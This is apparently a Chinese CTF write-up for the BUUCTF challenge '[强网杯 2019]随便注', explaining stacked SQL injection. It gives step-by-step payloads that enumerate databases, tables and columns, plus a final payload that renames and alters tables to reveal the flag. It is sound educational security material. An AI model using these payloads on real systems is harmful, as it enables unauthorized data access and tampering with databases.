【学习笔记 23】 buu [强网杯 2019]随便注

本文深入探讨了SQL注入的一种特殊形式——堆叠注入,详细解释了其原理与应用,包括如何利用堆叠注入进行数据库操作,如显示数据库、表、字段等信息,以及通过更改表名和字段名来解决问题的具体步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00 知识点

1.堆叠注入
2.利用rename,alter的sql命令完成数据库操作

0x01 详解

1.什么是堆叠注入?
堆叠注入就是利用sql命令中利用“;”来做一句sql命令的结束标志,但是在“;”后的同一行里添加其他sql命令仍可以执行。
2.堆叠注入与union injection(联合注入)之间的区别?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
3.堆叠注入的局限性?
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

0x02 解题思路

这里我们会用到堆叠注入+数据库数据重命名的方法来解题。
1.打开题目,上边只显示了一个1,点击查询一下
在这里插入图片描述发现回显
2.尝试1’发现失败
在这里插入图片描述尝试1’#回显正常,判断存在sql注入漏洞。
在这里插入图片描述尝试用or连接测试1’ or 1=1#,发现有回显。在这里插入图片描述3.接下来就利用order by来测试字段
尝试

1' order by 2#

回显正常
尝试

1' order by 3#

回显出错,可以判断之后两个字段。
在这里插入图片描述4.尝试利用union,select联合查询进行查表。

1union select 1database()#

在这里插入图片描述直接返回一串过滤规则,说明联合注入行不通。
5.尝试构造堆叠注入。

1' ;show databases;#

在这里插入图片描述成功了,并返回所有数据库名称
那接下来查完库,接着查表。

1' ;show tables;#

在这里插入图片描述继续查完表继续查字段先看看words里的内容。

1' ;show columns from words;#

在这里插入图片描述
回显了两个字段内容
接下来同样查看 1919810931114514里的内容

1';show columns from `1919810931114514`;#

注意这里的1919810931114514这一串数字要用反单引号引住,不然会无法回显。
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
在这里插入图片描述很明显可以得出一下结论,输入1,或者1‘ or 1=1#所回显的数据全部来自words这个表单,那么我们的解题思路就很明显了。

1.首先利用rename将words表的给改个名字
2.讲1919810931114514表的名字改成words
3.应为会一次回显两个字段的信息,也就是id和data,那么我们就利用alter来修改新的words表
4.最后在利用1’ or 1=1#来回显全部内容得到到结果 。

最终payload

 0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

在这里插入图片描述
最后利用,来回显结果

1' or 1=1#

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值